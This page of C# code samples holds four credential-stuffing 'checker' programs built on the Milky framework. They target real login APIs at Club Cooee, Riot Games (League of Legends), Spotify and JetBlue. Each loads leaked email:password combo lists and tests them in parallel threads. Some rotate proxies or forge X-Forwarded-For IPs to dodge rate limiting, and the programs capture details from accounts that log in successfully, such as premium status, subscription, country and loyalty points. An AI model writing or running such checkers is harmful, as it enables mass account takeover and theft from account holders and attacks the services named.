Exemplo n.º 1
0
        static void Main()
        {
            var Milky = new MilkyManager();

            Milky.ProgramManager.Initialize("Club Cooee Checker", "1.0", "Laiteux", "https://pastebin.com/raw/QW82zeqi");

            Milky.FileUtils.LoadCombos();

            var threads = Milky.UserUtils.AskInteger("Threads");

            Milky.RunSettings.threads = threads;
            ThreadPool.SetMinThreads(threads, threads);

            Milky.ConsoleSettings.SetTitleStyle(true, true);

            Milky.RunManager.StartRun();

            Parallel.ForEach(Milky.RunLists.combos, new ParallelOptions {
                MaxDegreeOfParallelism = Milky.RunSettings.threads
            }, combo =>
            {
                var splittedCombo = combo.Split(':');

                var resultType = ResultType.Invalid;
                var captures   = new CaptureDictionary();

                if (splittedCombo.Length == 2)
                {
                    var login    = splittedCombo[0];
                    var password = splittedCombo[1];

                    while (resultType == ResultType.Invalid)
                    {
                        var request = new MilkyRequest();

                        try
                        {
                            request.AddHeader("Content-Type", "application/x-www-form-urlencoded");

                            var response = Milky.RequestUtils.Execute(request,
                                                                      HttpMethod.POST, "https://en.clubcooee.com/api3/auth_login",
                                                                      $"username={Uri.EscapeDataString(login)}&password={Uri.EscapeDataString(password)}");
                            var source = response.ToString();
                            var json   = JsonConvert.DeserializeObject <dynamic>(source);

                            if (!(bool)json.error)
                            {
                                var user = json.msg.userdata.auth;

                                if (login.Contains("@"))
                                {
                                    captures.Add("Username", (string)user.name);
                                }
                                captures.Add("Cash", (string)user.credits);
                                captures.Add("Level", ((int)user.xp_level).ToString());
                                captures.Add("VIP", ((bool)user.premium).ToString());
                                captures.Add("Confirmed Email", ((bool)user.email_confirmed).ToString());

                                resultType = (bool)user.premium ? ResultType.Hit : ResultType.Free;
                            }

                            break;
                        }
                        catch { }

                        request.Dispose();
                    }
                }

                Milky.RunManager.SubmitComboResult(combo, resultType, captures);
            });

            Milky.RunManager.FinishRun();

            Thread.Sleep(-1);
        }
Exemplo n.º 2
0
        static void Main(string[] args)
        {
            MilkyManager Milky = new MilkyManager();

            Milky.ProgramManager.Initialize("LoL Checker", "1.0.0", "Laiteux", "https://pastebin.com/raw/QW82zeqi");

            int threads = Milky.UserUtils.AskInteger("Threads");

            Milky.RunSettings.threads = threads;
            ThreadPool.SetMinThreads(threads, threads);

            Milky.RunSettings.proxyProtocol = Milky.UserUtils.AskChoice("Proxy Protocol", new string[] { "HTTP", "SOCKS4", "SOCKS5" });

            string region = Milky.UserUtils.AskChoice("Region", new string[] { "BR1", "EUN1", "EUW1", "JP1", "KR", "LA1", "LA2", "NA1", "OC1", "PBE1", "RU", "TR1" });

            Milky.ConsoleSettings.runningTitleFormat =
                $"%program.name% %program.version% by %program.author% – Running | " +
                $"Region : {region} | " +
                $"Ran : %run.ran% (%run.ran.percentage%) – Remaining : %run.remaining% – Hits : %run.hits% (%run.hits.percentage%) | " +
                $"RPM : %statistics.rpm% – Elapsed : %statistics.elapsed% – Estimated : %statistics.estimated%";
            Milky.ConsoleSettings.finishedTitleFormat =
                $"%program.name% %program.version% by %program.author% – Finished | " +
                $"Region : {region} | " +
                $"Ran : %run.ran% – Hits : %run.hits% (%run.hits.percentage%) | " +
                $"Elapsed : %statistics.elapsed%";

            Milky.FileUtils.LoadCombos("Username:Password");
            Milky.FileUtils.LoadProxies(Milky.RunSettings.proxyProtocol);

            Milky.RunManager.StartRun();

            Parallel.ForEach(Milky.RunLists.combos, new ParallelOptions {
                MaxDegreeOfParallelism = Milky.RunSettings.threads
            }, combo =>
            {
                string[] splittedCombo = combo.Split(':');

                ResultType resultType = ResultType.Invalid;

                if (splittedCombo.Length == 2)
                {
                    string login    = splittedCombo[0];
                    string password = splittedCombo[1];

                    while (resultType == ResultType.Invalid)
                    {
                        MilkyRequest request = Milky.RequestUtils.SetProxy(new MilkyRequest());

                        try
                        {
                            request.AddHeader("Content-Type", "application/x-www-form-urlencoded");

                            string response = Milky.RequestUtils.Execute(request,
                                                                         HttpMethod.POST, "https://auth.riotgames.com/token",
                                                                         $"client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&client_assertion=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOiJodHRwczpcL1wvYXV0aC5yaW90Z2FtZXMuY29tXC90b2tlbiIsInN1YiI6ImxvbCIsImlzcyI6ImxvbCIsImV4cCI6MTYwMTE1MTIxNCwiaWF0IjoxNTM4MDc5MjE0LCJqdGkiOiIwYzY3OThmNi05YTgyLTQwY2ItOWViOC1lZTY5NjJhOGUyZDcifQ.dfPcFQr4VTZpv8yl1IDKWZz06yy049ANaLt-AKoQ53GpJrdITU3iEUcdfibAh1qFEpvVqWFaUAKbVIxQotT1QvYBgo_bohJkAPJnZa5v0-vHaXysyOHqB9dXrL6CKdn_QtoxjH2k58ZgxGeW6Xsd0kljjDiD4Z0CRR_FW8OVdFoUYh31SX0HidOs1BLBOp6GnJTWh--dcptgJ1ixUBjoXWC1cgEWYfV00-DNsTwer0UI4YN2TDmmSifAtWou3lMbqmiQIsIHaRuDlcZbNEv_b6XuzUhi_lRzYCwE4IKSR-AwX_8mLNBLTVb8QzIJCPR-MGaPL8hKPdprgjxT0m96gw&grant_type=password&username={region}|{Uri.EscapeDataString(login)}&password={Uri.EscapeDataString(password)}&scope=openid").ToString();

                            if (response.Contains("access_token"))
                            {
                                resultType = ResultType.Hit;
                            }
                            else if (response.Contains("invalid_credentials"))
                            {
                                break;
                            }
                        }
                        catch { }

                        request.Dispose();
                    }
                }

                Milky.RunManager.SubmitComboResult(combo, resultType);
            });

            Milky.RunManager.FinishRun();

            Thread.Sleep(-1);
        }
Exemplo n.º 3
0
        static void Main(string[] args)
        {
            MilkyManager Milky = new MilkyManager();

            Milky.ProgramManager.Initialize("Spotify Checker", "1.0.0", "Laiteux", "https://pastebin.com/raw/QW82zeqi");

            Milky.FileUtils.LoadCombos();

            int threads = Milky.UserUtils.AskInteger("Threads");

            Milky.RunSettings.threads = threads;
            ThreadPool.SetMinThreads(threads, threads);

            Milky.ConsoleSettings.SetTitleStyle(true, true);

            Milky.RunManager.StartRun();

            Random random = new Random();

            Parallel.ForEach(Milky.RunLists.combos, new ParallelOptions {
                MaxDegreeOfParallelism = Milky.RunSettings.threads
            }, combo =>
            {
                string[] splittedCombo = combo.Split(':');

                ResultType resultType      = ResultType.Invalid;
                CaptureDictionary captures = new CaptureDictionary();

                if (splittedCombo.Length == 2)
                {
                    string login    = splittedCombo[0];
                    string password = splittedCombo[1];

                    while (resultType == ResultType.Invalid)
                    {
                        string ip = $"{random.Next(1, 255)}.{random.Next(0, 255)}.{random.Next(0, 255)}.{random.Next(0, 255)}";

                        MilkyRequest request = new MilkyRequest()
                        {
                            Cookies = new CookieDictionary()
                        };

                        try
                        {
                            request.AddHeader("X-Forwarded-For", ip);

                            MilkyResponse response1 = Milky.RequestUtils.Execute(request,
                                                                                 HttpMethod.GET, "https://accounts.spotify.com/en/login");

                            if (response1.ContainsCookie("csrf_token"))
                            {
                                string csrf_token = response1.Cookies["csrf_token"];

                                request.AddHeader("X-Forwarded-For", ip);
                                request.AddHeader("Content-Type", "application/x-www-form-urlencoded");
                                request.AddHeader("User-Agent", "Mozilla");

                                request.Cookies.Add("__bon", "MHwwfDB8MHwxfDF8MXwx");

                                string response2 = Milky.RequestUtils.Execute(request,
                                                                              HttpMethod.POST, "https://accounts.spotify.com/api/login",
                                                                              $"username={Uri.EscapeDataString(login)}&password={Uri.EscapeDataString(password)}&csrf_token={Uri.EscapeDataString(csrf_token)}").ToString();

                                if (response2.Contains("displayName"))
                                {
                                    request.AddHeader("X-Forwarded-For", ip);

                                    string response3 = Milky.RequestUtils.Execute(request,
                                                                                  HttpMethod.GET, "https://www.spotify.com/us/account/overview/").ToString();

                                    if (response3.Contains("<h1>Account overview</h1>"))
                                    {
                                        resultType = ResultType.Hit;

                                        string country      = new Regex("<p class=\"form-control-static\" id=\"card-profile-country\">([^<]*)").Match(response3).Groups[1].Value;
                                        string subscription = new Regex("<div class=\"well card subscription.*>(.*)</h3>").Match(response3).Groups[1].Value;
                                        bool familyOwner    = response3.Contains("btn-manage-familyplan");

                                        if (subscription == "Spotify Free")
                                        {
                                            resultType = ResultType.Free;
                                        }

                                        captures = new CaptureDictionary
                                        {
                                            { "Country", country },
                                            { "Subscription", subscription },
                                            { "Family Owner", familyOwner.ToString() }
                                        };

                                        break;
                                    }
                                    else
                                    {
                                        break;
                                    }
                                }
                                else if (response2.Contains("errorInvalidCredentials"))
                                {
                                    break;
                                }
                            }
                        }
                        catch { }

                        request.Dispose();
                    }
                }

                Milky.RunManager.SubmitComboResult(combo, resultType, captures);
            });

            Milky.RunManager.FinishRun();

            Thread.Sleep(-1);
        }
Exemplo n.º 4
0
        static void Main(string[] args)
        {
            MilkyManager Milky = new MilkyManager();

            Milky.ProgramManager.Initialize("JetBlue Checker", "1.0.0", "Laiteux", "https://pastebin.com/raw/QW82zeqi");

            int threads = Milky.UserUtils.AskInteger("Threads");

            Milky.RunSettings.threads = threads;
            ThreadPool.SetMinThreads(threads, threads);

            Milky.RunSettings.proxyProtocol = Milky.UserUtils.AskChoice("Proxy Protocol", new string[] { "HTTP", "SOCKS4", "SOCKS5" });

            Milky.ConsoleSettings.runningTitleFormat =
                $"%program.name% %program.version% by %program.author% – Running | " +
                $"Ran : %run.ran% (%run.ran.percentage%) – Remaining : %run.remaining% – Hits : %run.hits% (%run.hits.percentage%) – Total Points : %custom.Total_Points% | " +
                $"RPM : %statistics.rpm% – Elapsed : %statistics.elapsed% – Estimated : %statistics.estimated%";
            Milky.ConsoleSettings.finishedTitleFormat =
                $"%program.name% %program.version% by %program.author% – Finished | " +
                $"Ran : %run.ran% – Hits : %run.hits% (%run.hits.percentage%) – Total Points : %custom.Total_Points% | " +
                $"Elapsed : %statistics.elapsed%";

            Milky.FileUtils.LoadCombos("Email:Password");
            Milky.FileUtils.LoadProxies(Milky.RunSettings.proxyProtocol);

            Milky.CustomStatistics.AddCustomStatistic("Total Points");

            Milky.RunManager.StartRun();

            Parallel.ForEach(Milky.RunLists.combos, new ParallelOptions {
                MaxDegreeOfParallelism = Milky.RunSettings.threads
            }, combo =>
            {
                string[] splittedCombo = combo.Split(':');

                ResultType resultType      = ResultType.Invalid;
                CaptureDictionary captures = new CaptureDictionary();

                if (splittedCombo.Length == 2)
                {
                    string login    = splittedCombo[0];
                    string password = splittedCombo[1];

                    while (resultType == ResultType.Invalid)
                    {
                        MilkyRequest request = Milky.RequestUtils.SetProxy(new MilkyRequest());

                        try
                        {
                            request.AddHeader("Content-Type", "application/json");

                            string response = Milky.RequestUtils.Execute(request,
                                                                         HttpMethod.POST, "https://jbrest.jetblue.com/iam/login/",
                                                                         "{\"id\":\"" + login + "\",\"pwd\":\"" + password + "\"}").ToString();
                            dynamic json = JsonConvert.DeserializeObject(response);

                            if (response.Contains("{\"points\""))
                            {
                                int points = int.Parse((string)json.points);
                                Milky.CustomStatistics.IncrementCustomStatistic("Total Points", points);
                                captures.Add("Points", points.ToString());

                                resultType = points == 0 ? ResultType.Free : ResultType.Hit;
                            }
                            else if (response.Contains("JB_INVALID_CREDENTIALS") || response.Contains("{\"name\"") || response.Contains("{\"httpStatus\":\"424\""))
                            {
                                break;
                            }
                        }
                        catch { }

                        request.Dispose();
                    }
                }

                Milky.RunManager.SubmitComboResult(combo, resultType, captures);
            });

            Milky.RunManager.FinishRun();

            Thread.Sleep(-1);
        }